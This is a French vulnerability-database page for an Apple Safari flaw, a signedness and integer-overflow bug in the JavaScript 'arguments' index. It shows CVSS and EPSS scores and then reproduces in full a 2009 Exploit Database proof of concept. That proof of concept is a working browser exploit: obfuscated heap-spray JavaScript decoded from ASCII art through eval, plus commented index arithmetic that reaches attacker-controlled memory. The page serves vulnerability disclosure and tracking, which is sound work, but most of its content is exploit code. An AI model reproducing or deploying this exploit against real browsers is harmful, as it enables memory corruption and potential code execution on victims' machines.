Faiblesses connexes 
            
                
                    
                    
                        CWE-ID Nom de la faiblesse 
                        Source 
                     
                     
                    
                                
                                    CWE-189 Category : Numeric Errors  
                                                 
            
         
            
                                
                                            Métriques 
            
                
                    
                    
                        Métriques 
                        Score 
                        Gravité 
                        CVSS Vecteur 
                        Source 
                     
                     
                    
                    
                        V2 
                        9.3 
                        
                            AV:N/AC:M/Au:N/C:C/I:C/A:C                         
                        nvd@nist.gov 
                     
                 
            
         
            
                                
                                            EPSS 
            EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
            Score EPSS 
            Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
            
            
                
            
                Date EPSS V0 EPSS V1 EPSS V2 EPSS V3 EPSS V4 2022-02-06 – – 1.96% – – 2022-03-13 – – 1.96% – – 2022-04-03 – – 1.96% – – 2022-07-31 – – 1.96% – – 2023-02-26 – – 1.96% – – 2023-03-12 – – – 0.39% – 2023-07-09 – – – 0.44% – 2023-08-13 – – – 0.44% – 2023-08-20 – – – 0.5% – 2023-09-17 – – – 0.5% – 2024-02-11 – – – 0.5% – 2024-06-02 – – – 0.5% – 2024-07-07 – – – 0.5% – 2024-08-04 – – – 0.5% – 2024-08-11 – – – 0.5% – 2024-12-22 – – – 0.5% – 2025-02-23 – – – 0.67% – 2025-01-19 – – – 0.5% – 2025-02-23 – – – 0.67% – 2025-03-18 – – – – 2.11% 2025-04-22 – – – – 1.22% 2025-10-16 – – – – 4.21% 2025-10-16 – – – – 4.21,% 
             
            Percentile EPSS 
            Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
            
            
            
                
            
                Date Percentile 2022-02-06 56% 2022-03-13 57% 2022-04-03 77% 2022-07-31 78% 2023-02-26 79% 2023-03-12 69% 2023-07-09 71% 2023-08-13 72% 2023-08-20 73% 2023-09-17 74% 2024-02-11 76% 2024-06-02 76% 2024-07-07 77% 2024-08-04 76% 2024-08-11 77% 2024-12-22 76% 2025-02-23 8% 2025-01-19 76% 2025-02-23 8% 2025-03-18 83% 2025-04-22 78% 2025-10-16 88% 2025-10-16 88% 
             
            
            
            
                                            Informations sur l'Exploit 
                Exploit Database EDB-ID : 7673  
                Date de publication :  2009-01-04 23h00  +00:00 Auteur :  SkylinedEDB Vérifié :  Yes
                <BODY>
	<CODE id="sploit status"></CODE>
	<CODE id="heapspray status"></CODE>
	<SCRIPT>
i=0;eval(unescape(("gÂ#MÂÂÂ#Âg#ÉÄÊÅ@ÅÑÅÅÅØÅÉÅÊÆ@gÑÜ@ÜÑÜÂÜ#ÜÄÜÅÜÆÜgÜØÜÉÜÊÜËÜÜÜMÜNÜßM@MÑMÂM#MÄMÃ…MÆMgMØMÉMÊMËMÜMMMNMßN@NÑNÂN#NÄNÃ…NÆNgNØNÉNÊNËNÜNMNNNßß@ßÑßÂß#ßÄßÅ߯ßgߨßÉßÊßËßÜßMßNßßÂÂ#ËÆÄ#MÂÂMÂgÄgÉg@ÆÅÆßÆÆÂØNgÂÉ#MßÄNg#MNØ#ËNØ#MÆÆÕÅÂ@M#ÅßßßgÄÂÜÆÅN#MÂÂÑÆÕÂÉÆÅ#MãÑ#ËMÂÂÑgÄÂÉgÄ#M#Ã#Ã#\
Ëg                                                                                                                                                                                                                                                                                  #\
#M                                                                                                                       NgÂNÆ#ÆQÆ                                                                                                                                                  Ü\
ÆÜ                                                                                                                  ÂØgÄßÅÂÜgÄÂÉ#ËMÂg#N                                                                                                                                             @\
#Ü                                                                                                              ÆÅÂÉg##MÆNÆÕggÂ@ÄÑgÂgÂÆÑgÉ                                                                                                                                          Â\
ØÆ                                                                                                            ÅÂMg#N@ÂË#ÑÂÉÂNÆÊÆßMÊÂØÅÜÂÂ#@Ü                                                                                                                                        Æ\
ÂË                          g##ËNMgÄgÅgÂÆ                                                                   NÂ@g##ËgM#ËÆgÆÜ        Å@#MgËÅÜÂÂ                                                                                                                               ÄMÅ#Ä   É\
ÄÅ                    Â@#gÄ@ÄNÅÄÂ@#ÅÂN#Ñ߯NÑ#Ãß                                                            g#ÑÜ#Ü#gMMÅÄ                MÃ…#ÄÉÄÅ                                                                                                                           Â@#gÄ@ÄNÃ…  Ä\
Â@                 #ÆÂN#Ã߯NÑ#Æßg##Ü#Ü#gMNN#ÅÂN#ÑÄÊ                                                       NN#ÆÂN#ÃÄÊg                    M#ËÆÆÅ                                                                                         ÅÂà                           ߨ#ÂÂØgÄÂÜÆÅ  Â\
Üg              #N#MÆãMgÄ#ßgÄ#ÊNÑÄÄ#@ÄÄ#@ÄÄ#@ÄÄÜËÆÑßÉ                                                    g##Mg##ßg##                      ÊgËgMÜ                                                                                          ËßÊ#MÆ                  Åã߯Å#ÊÅÜÂÂÅÜÅÜ   #\
@Ã…            ÜÂÂÜËÜg#MNÑ#ÆÜ#Ü#ÜËÅØ#MNÑ#ÃÜ#Ü##ËÅÊ#MNÑã@                                                  #ÑÜ##Ã#ÃÜË                        Mg#MÆ                                                                                              ÆæÑÆÜg#ÆÅÜ    ËÆÉÅÉÜÂ#M#   ÃgØ#Â#à    Ü\
ËÆ          ÉÅÑÜÂ#M#ÄÜËÆÉÅÑNßÅ#ÆÉgÊÆÅ#MãÂÜËMÑ#MÆNgÅÆÜÆÜÜ                                                Ëg#Äܯ߯g#M                         ÅÜÂÂÅ                                                                                                   ÜÂÂÜËg#Å#MØ        #MÅÜÂÂÅ      Ü\
        ÜËMÜ#MÆNgÅÆÜÆÜ#ËÆÉÜÜ       ÂØÄ#ÆØgÂÆßÆMÆÅMÃgÜßË                                               ÂØÄÆÆÉNMÆÆÆ                         ßgØM@                                                                                                                     gÜßËÂØ        Ä\
MÃ…       #ÄÉÄÅÂ@ÅÜÅÜÆÄÂË                ÉßËgÜßËÅÆÜÊg#ÆÉÆ                                               ߯NÂØM@ÂØÅ#Æ                         ÃÆÆæ                                                                                                                    ÑgÂÆÉ          Â\
Éß      ËgÜßËÂØÄßg@ÜÊÆ                     ÑMÃgÜßËÂßMÅÂÄ#Ñ                                              ÂÄ#ÂÂÄ#ãÂÄ#ÅÂÄ#                      ÄÂÄ#Æ                                                                                                                  ÜÆ#Ëg           Â\
ÜÜ     ÅÜÅÜÂØßËÅgMÊÆ                        ÄÆßggg#Â@ÂØÅËÅ                                              N#ËÅMÂÊÂÉßËÂßMÅÂÄ#ÑÜÆ                #ËÆN#                                                                                                                 MÆÉÜN            Ä\
@ß     @gÂ#ËÅ@#MÆgÆ                         ÜÅ@ÅËÆNÅM#ËMÂÅ                                               @ÂÉÆÆÆßgÂÂØg#NÄ                     @MÊ       @Å@ÂÉg                                                                                                    ÄßÅÅ             Ë\
g#    NÄÅM#MÅ@ÅËg#N                       ÄÅMgÑMËÆßÂÜÆÑN#M                                               MãMÆNÆÅggÂ@Ä                         ÆÅÅ      ØÅÜÂÂÜM                                                                                                  NÆÆÄ              Æ\
ÅÅ    ÂNÆãÆÑÆÜÆÜÂØ                 ÜMÂNÆßÅÄßÅÂÉÜÆ#ËMMÂNÆßÅ                                                ÄßÅ#MgÄßÅ                           #ËMM     NÆÆÄÆÅÅã                                                                                                  MÆß#              Ë\
g#    ÆÅgÄÅÄÆÉÆMÆÅ                       ÆßgÅgÄÂØMMÂÜÆÑMNN                                                 ɯܯ߯                              gMËÆ      ßN#Â#g                                                                                                   #ÄÜ               Æ\
߯     gÂË#MÂ#g#Å#M                          ØNÉg#MØÂØÆßM                                                   NNÉg                               #MØM                                    ËÆßN#                                                                     Â#g#               Å\
#M     Ø#MÆßMßÅÜÅÜg                             ÄÂ߯gMÅNÅ                                                     N                                ÅNÅN                                ÅÜÆMß#ÜÂ߯gMÅ                                                                 ÂÆÆÜ               g\
Ä#      ËÜÆÜN#ÜÄÂÅÂ#                             NÅÜÂÂ#Ë           MÂÂ                                                                         #MÑÂ            ÉÂ#         MÑ  ÂNMÊÆNÜÊÄØÅÄÄMÄÜ#MÂ                                                               #g#                Ä\
ÜÆ       ߯gÂËÂ#g#Å#M                             Ø#ËgM          NÉg#gÄ                                                                         gÂMÊ         ÆgÄÆÆÉ      ÆÜÆÜMËÆßÂÜÆÑN     #ÆÈ#MNÂÆ                                                              ãÆÅ                Æ\
ÉÆ        ÜÂØÆÑÂ߯ßN@                            É#ËÆ         Ä#MÅÜÂÂÅÜ                                                                       Â#ËÆ      Ü#MNÂÆ#ÆÕ    ÆÉÆÜÂØNÂÆÜÆß           ÆgÂØÆØ                    ÂË#ÑÂÉ                                  ÂßN                Æ\
ÜÆ          ߯gÂØ#ÂÂÉÂÉ#                          ËÆ         ÆÆßgÂÂØÆg#M                                                   ÆÜ#ËÆ                g#N#    M#Ã#ËÆgÂMÂM       N#ÆÄÂË#M             ÆÄ#ËMÂ               ÆØÂÆNÂg@ÆßggÂØ                              #ÂÂÜ                Æ\
g            ÉÂÉÆÄÂË#MÆß#                                 ËgMNMgÄgÅgÂÆN                                                @ÆÄÜØ#@                ÂÜÆÑ         MNÜËg#Ü      ÄMËÆßN#               Â#MÜ#             MÆß#ËÜ    ÑÅ#ÜÄMÊÆ                            gÂ@Æ                Æ\
g              ÆßÆMÂ@ÜÅÂ#Üg                               #ÉÜNÂ@gÄÆßÂ@ÜÅM                                              Æ#ÉÜNÂNÜÆ               #ËÜÑ          ÅÜÅÜgÄ       ÄÑg#g#                gÅÆMM           ÊÆg          @ÆÑÆÄÆÄ                          NMg                 #\
g#                 Â@gÆÆÃgÂÆÉß                               ܯɯ߯Ng#Â@Æß                   ÆÆÂà                       gÃ…g@Â@gÄÆ               ßÂ@Ü          ÅÂ#ÅØ#       ÉßÑÂ@Æ                ãÆÑgÃ…           g#Æ            ÅÆÄÂÃÆÂ                         gÉ                 @\
ÆÆ                     gÂÆÑÆgÆMÆ                               ÅÆNgÄßܯɯ߯                  NßÂg@N                      Mg@ÆÑNMß               ØÂÜ#           ÑMNNÉ        g@NMg@                ÆÑNM          ߨMË             N#Æß#M                         Â#Å                 ß\
Åß                        g#gÄgÂMÊ                               ÆgÄÆÆÉÆÜÆÜ                ØÂ#ßÊÂÜ        MÉ            É#ËÆÆÆßg              ÂÂØÆ           ÑÂÃMÊ       @Â#ÆQß                Ég#N  #ÆØ     #MÆ               NÆÕgg                @M#ÂØÆ  ÑÂÉ                 #\
ËM                           ÂÆØÂÅ#Â#                             MãM#ÑÂÉgÄÆØ              gÂÆßgg        Â@ÆNÆ             Ã…ggÂ@ÄÅ              gÂg            Æßg        ØÅÜ                Ä߯Æ    Ææg#Æ Ã…gÄ               g#Â@Æß             ÆÆÂÃÆãÆ@g#Â@ÆM                 g\
Ã…g                              #gÄÂ@ÆÂÆ                            ÅÂÃÆÅgÆÆÅ            ÆNÂÃÂØ         ÆÆÆßgÅÆ             NÆÄÂ@ß              @ÆØ#            ÉÂËÜÆ        ÜÆ#ËÆÆ                æßg       ÂØÆÄÂ@              MÊÂ@g#           ÅËÆÑÅMN  #ßÉ#Mg#                 Ã…\
ËÆ                                  ÑÅMÅËÆÄ                          Ã…M#ËÜÑÅÜÅ          ÜgÄÄÉ          ÆNg#ÜÊgÄ              ÆÅÆÄß             Mg#ÜÄ             Â@Æ#         ÆÃÂ@ß                ÜÂ@Æ         ßÆÆÆæg#ÆÅgÄ    @ÜÅÆØÂNß          ß#Ñã          ÆÂÜ#Ä              É\
ÜN                                      #ÊÂ@ß@                        ÆÄÜNÂNÜÆ#       ËÆß#M            ÆßÜØ#@ÂÜ              ØÆØ#N            #N#Ñ             ÉÂÉÂË        ßÉÂËÆ                ßÜØÂ         ØÆØ    #N#N#ÑÂÉÂËßÉN@ÂÉ          #ËM           ÆßN@ #NM            É\
N#                                         ÆÉÄÅgØ                       Æ#ÆÕg#g#    #MÆßN               @ÂMMÉ#ËÆß             #MÆßÜ            ØMÉ               ÉÂËÆ         ßÜØÆÉ                ÄÅg         ØÆ#Æ          Õg#g#ÂÜ            MÉM            NgMg                M\
NÆ                                            #ÆãÄÄË                    @ÆÂß#ÆËß@ÂØÂ#Æà                 ßÉg##ßÅÜ            ÂÂ@g            gÆÉg               ÄÆØÂ         @MÊg#                ÜÊg          ÄÆÅ                       ÆÄ   Â@Æã            Æ@g#                M\
ÄÅ                                              ÜÂÂÜÆÜN                  NÜÆÜËg#ÜÉ#MÆßÜ                    ËÆÑg#ÅÉ#M          ÅËÅM           ÜËÆÉÜ                Ég#          #Mã@                ÜËÜ          ß#M#                   ÃÜË     ÆÉ             g#M                #\
Üg         gÑ                                      ÂØÂ#ÅßÅ߯               #NMßÜÆÅߨÅÑÂÜ#Ñ                    MNNÉÆ#NMß        ÜÆÅß           ØÅÑMË                 N#           M                 Â#g           #ÜÉN               @#ÜÅ       ÊÂß             #ÂN#               #\
g#      ÜÉÂË#M                                        Â#g#ÜÉgÑ             ØÜMÂÜ#ÑMNÆÅÆÜg#ÆÅ                     gËNÆÜÅÅÊ      #Éß           ÑÂ@Æ                                                  Âß#            ÆËÂ@Æ          Ææßg         ßMg             #ÜÄMÊ               Æ\
gß    Âg#ÜÄÅÉÂÜ#                                        ÑMNgMNÉg#Ü           ÄÅÉMËN      #MÂÂ#Mg                       #ßßNÂg#N#MMÆ          ÂMÂãÅ                                                   Ø#Ê            ßNÂg#Ü#M  MÆÂËÂ#ÅØ          N#N             Ê#MÂØ               ß\
NÅ   ÉÜÂÂËßNÅÑÜÂÂÉÂß                                      #Â#ËÆÉNßÄÜ         Ü@#MÂØß         NÅÑNßÅ                         #ÆÉgÊÆÅ          ÂÉÂß#                      Â#Ëg#                        Âg#             MÂ#Mg#ßNËÂMÂ#ÅØÂ           É#É#            ÊNËÂË              #\
ÅØ  ÂÉ#ÉÜËÆÑg#ÅÉÅËg#ÂgÅM                                    #Mg#ÂgÂËÂ#        g#ÜÉÜØ             NÊÂËg#                        ÂgN@         ÂÜÅÊ           ß#ÂÂMÂØNÊÂËÆÉNßÄÜÜ@ÂÉÂMg#Âg              N@              ÉÜËÆÉÜÉg#ÂËÂËÜ            ËÜß             Ë#MÅÊ              Ü\
ËÆ  ÉÂgÂË#MÂ#Mg#ßÂM                                          ÅÊ#ÊÅÊNÉg#        MØÂØÅÜ              ÂÂÅÜÅÜg                      ÄÄÑ         ÆÜß#ß   ÜÆÅÆÄÂ@ß@ßNÜÉg#ÜNßMÆÂß#ÆËg#Â@ÂØß@Â#ÜßÂNßß       ÉßÑ                ÂÉÂ@gÄÆßÂ@g              #ÜÄ            @gNÜÅ             #\
Üg  #ÉÜNÂMÜÅÂØßN                                            gÂËÂ#ÅØÂÉ#É        ÜNßÂg                #ÜÄÅÉÂÜ#                   ÑMN        ÆÅÆÜg#ÆÅgËÜÑÄ#ÆßÆÜÆÜÆÅ                      ÆãgÄMÊÆgÂ@ÆgÆ Ñg                  ÆÂÆÃÆgÆÅ         Ü     Æ#ËM           gÄgÉg@             Æ\
ÅÆ  ߯ÆÂØNÜÂÉÂÑß                                              ÄNÜÂØÂÉ#ËM       ggMÊÆ                  ÄÆßggÂNÆ                 gÆ#       ÂÉggMÊÆÄÆßggÂNÆg             Æ#ÂØÂÉ#ËÜ              ÑÅÉÂ@g#ÜÄ                     @ÆÄ           Æ      ߯NÆÅ         NÜÆÜËMÜ            Â\
ØÆ   ßߨMN#ËgMgM                                             #gÄßÅÂNÂgÄÑ        ÆÄÆÄN                  Mg#g##ÉÂN               ßß#      ÑãÆÂÜ#ØÂÉÄÊß              Æ#ÃgØ#gÄÆßg#ÑÜ#Ü                 #MÃ…MgMÄ                               gÄ       gÂgÅÆÅM        ÅÆÉÅÉÜ           M\
Ä#    @MÅÆÉÅÑÜÂMÄ#                                           @gMÃ…@ÆÜÅ#gÉg         #gÄÆ                   ÅÆMÅãg@ÆÅÆ             ãÆÉ     ÆÆÆÉÆãNÄg                #ÅÑÅãgÄgÂMÊÆgÃ…Ã…gÅÆNÆ               #gÄ ÆÉÆßÆNÃ…                          ØÆÉ        ÅÆÆÃgÂÆÉÆÑÆ   NÆãÆÅÅÉÄ          Ø\
ÆÅ      ÆÃg@ÅÊßNÄÂß#                                         ÆËÅ#ÆÉgÊÆÅÆ          ÃÆßÆM                   g@ÆßÆNÆÅÆN           gÄgÑ    ÜËg#ÆÅ                   gÄÅÄÆÉÆMÆÅÆßgÃ…gÄÜ@ÆÅÆNÆ             ggÄ    ÆØÜÑÂ#Åß                   Å߯ܯ           ߯gÂØÅÜÂÂÜÂÄØÆÅÆÃÆÄÜÊ         Ã…\
#Æ        ÉgÊÆÅÜ##Ã#Ã#                                      ÃÜÄg@gÂÆÑgÉ            ÜÅ#@                  gØß@ÜÆÅÜÂÂÂÉ          ÜgÆÉ    Ã…#g                     ÄÆÑg       gÄÂgÜØÂNg#gÅÆ           Âg#g       ÄgÂÂØÜÉÅÉÄ          Âß#ÆËÜÊÆ               Ã…gÂÜË#ËÂ#ÜÜ#MÆNÆÃgÆ        Æ\
ÉÆ          gßÜÆßgÂÂNgÅg#                                 ÜÊÄÑÆgÆÅÆNgÄ              MßßË            ÜMÆÑgÂÆggÅÆMÆÅÆNg          Äg#                          NÆ#ÆQ           ÆÜÆÜÆÅÆÅÜNÂË         ÅÜ           Ü߯ÉÄÂgÉgÄÆÅg#ÄÑÆÜß#ßÜÆ                     ÅÆÄM@ÅÜÅÜÂßÅÜÅÜ        Æ\
Ä             ËÂÉßËMÑÆßÄßgÅgÄ                         g@gÅgÄÄÅÆÜÆÅ                 ÆMÆÕ                ÆNgÄMÂÆÉÆÆÂØ           M#ÄN                       gÅÆMÆ               ÂÜÊMÄÅÜÂÂ#ÊMÅ    ÂÜÅÜÂÂM             ÆßNÅÄÆÑgÂÆgÆÅgÄÂgMg                            ÆÂÅÂÆÅgÆ          Ü\
Êg                #ÆÅMØgÄßÜgÃ…g#MÉ#@gØ#          ÑÜ##ÃÂß#ÂMÊÆÉÆNMË                    #MÆÆ                  ÕÅÂØMÜÆ            ÆÄÄÆß                    ÆNÆ                     ÅÄØÆÑÆNÆÄÆÜÜÊMMÆÆÅggÂÆ                Ñg@g@ÜÊMNÂÉ#ËgM                                                M\
ß                     NNMg@ÆÜÆÑÆãÆÅÂØÂßN@ÂNÆÜÜ@NÑ#ÃgØ#@NÂÄMß                         ÜÆØ                    ÂN               N#ÂÉ                                              gËNÄÅ#ÆÅgÄgÄMÊÆgNÅ                    ÆÆNÆÂg#g@#Ë                                                  N\
ÆÜ                            ÑÅÜÅÜgÄÄ#NMßÜÆÅÆÄÂ@ÆßÆNÆÅ                               Â@Ng                                    M#Åß                                                ÆßÆÜÆÄÅÄÆßÅÑNØ                        M#ÂNg@gÂÆ                                                   ß\
gÄ                                  ÆßgÄgÉg@ÆÅÂN                                       gÄÆ                                   ßÅÑNÉ                                                    ÜËÅßÅßN                             ÊÆÉÄØ                                                     Æ\
ÅÆ                                                                                                                           ÃÆÄÜÊ                                                                                         ÄÜÜ                                                      @\
NË                                                                                                                           ÅÜÂÂÜ                                                                                          Å                                                       ß\
NÂ                                                                                                                          g#ÉÜNg                                                                                                                                                  N\
ÜÅ                                                                                                                          ÂØßNÂg                                                                                                                                                  N\
ÜÄ                                                                                                                         #ÆßÆÜÆ                                                                                                                                                   Ü\
ÆÅ                                                                                                                        ÆãgÄÄgÆ                                                                                                                                                   Ñ\
g                                                                                                                       ÆÂÆÃÆgÆÅ                                                                                                                                                   N\
Mg                                                                                                                     ÂÆÅNNMÅÅ#                                                                                                                                                    Æ\
ÃÆ                                                                                                                   ÆæÑgÂÆÉÂß##                                                                                                                                                    Ä\
@Ä                                                                                NÅÄÂ@NßÄÆÆß                      ÆßgÄÜÊß@ÅÜ                                                                                                                                                     Â\
Ëß                                                                           ÑÜNÂ@ÆÂgÉgÄÆÅg#ßÂÂNÜÆg           ÑÂØÂ#ÅßÅßß#ÆÜÆßÆ                                                                                                                                                      #\
ßÄ                                                                        #MÅÜÂÂgÅÆ   NÆÄÆÅÆÆmÊÆÅÆÄÜÆßÅÆØÆÉg#߯MÄgËÅÜÂÂÜgMÄßg                                                                                                                                                       Ü\
#Ü                                                                      #MÃ…Ã…                ØMÄNÑߨÅÉÅ#ÜÄßÉg#Ä#ÆÃßÊg#ÄÂÆÑÆã                                                                                                                                                         Æ\
ËÆ                                                                     gg                         ÂÆßgÅÆNÆÄßËÂNÂÊßÜÆÑgÄßM                                                                                                                                                           Â\
@Æ                                                                    Ø                               ÆÅÆÃg@Â@ßNÂ#ÆÉß                                                                                                                                                               ß\
gÄ                                                                                                                                                                                                                                                                                  Æ\
ßÅÑÂØÂÂ#ËÆÆÆßgÂÂØÆ#ãM#g#ÆãËÆ#ÂMÂMãËÆÄ#MÂØgÄ#MÆÄÂNg#g@ÆÜÆÉgÄÂØgÂÂNÆ#ÆÈÆÃgÂÄÑgÄÂØÆ#ÂÉÂÉÂÉÂNÆÊÆßÆÉÆNÂØgÄÂNg@Æßg@ÂØÂÉÂÉÂÉ#ËÆÅgÆÆÃÆÜÂØÆÄÂÉ#ËÂßÂßÂMÆ#ÂÄ#Ë#ãÅÊ#Ñ").replace(/./g,function(c){return" `'^*\\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))
		// The index for the "arguments" array in a JavaScript function in
		// Safari suffers from a signedness issue that allows access to elements
		// that are out of bounds. The index is cast to a signed value before it
		// is compared to the length of the array to check if it within the
		// bounds. Integer values larger than 0x8000,0000 will be cast to a
		// negative value and because they are always smaller then the length,
		// they are treated as a valid index.
		// The index into the arguments array ends up in instructions
		// that multiply it by 4 to access data in an array of 32 bit values.
		// There are no checks for overflows in this calculation. This allows us
		// to cause it to access anything in memory:
		//     Pointer to object = base address + 4 * index
		// The base address varies only slightly and is normally about
		// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
		// predictable location using heap spraying, we can then calculate an
		// index that will access this memory.
		var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
		var iTargetArea = 0x10000000;
		// Be advised that heap spraying is "upside down" in Safari: strings
		// are allocated at high addresses first and as the heap grows, the
		// addresses go down. The heap will therefor grow in between a lot of
		// DLLs which reside in this area of the address space as well.
		// We'll need to find an area of memory to spray that is not likely to
		// contain a DLL and easy to reach.
		var iTargetAddress = 0x55555555;
		//     iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
		// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
		var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
		// iIndex = (iTargetAddress - iBase) / 4
		var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
		// We need to trigger the signedness issue so the index must be larger
		// then 0x8000,0000. Because of the integer overflow in the
		// multiplication, we can safely add 0x4000,0000 as often as we want;
		// the multiplication will remove it from the result.
		while (iIndex < 0x80000000) iIndex += 0x40000000
		document.getElementById("sploit status").innerHTML = (
			"iBase + 4 * iIndex = " +
			"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
			"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
		);
		// Set up heap spray
		var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
		oHeapSpray.oOutputElement = document.getElementById("heapspray status")
		// Spray heap asynchronously and call sploit when done.
		oHeapSpray.spray(sploit)
		function sploit(oHeapSpray) {
			// This will cause an access violation using the value 0xDEADBEEF,
			// which comes from the strings we sprayed the heap with.
			// 6aa3d57f 8b4f0c          mov     ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
			arguments[iIndex];
		}
		function DWORD(iValue) {
			return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
		}
	</SCRIPT>
</BODY>
# milw0rm.com [2009-01-05]
                
                                            Products Mentioned 
Configuraton 0 Apple>>Safari >> Version *
            
                                Références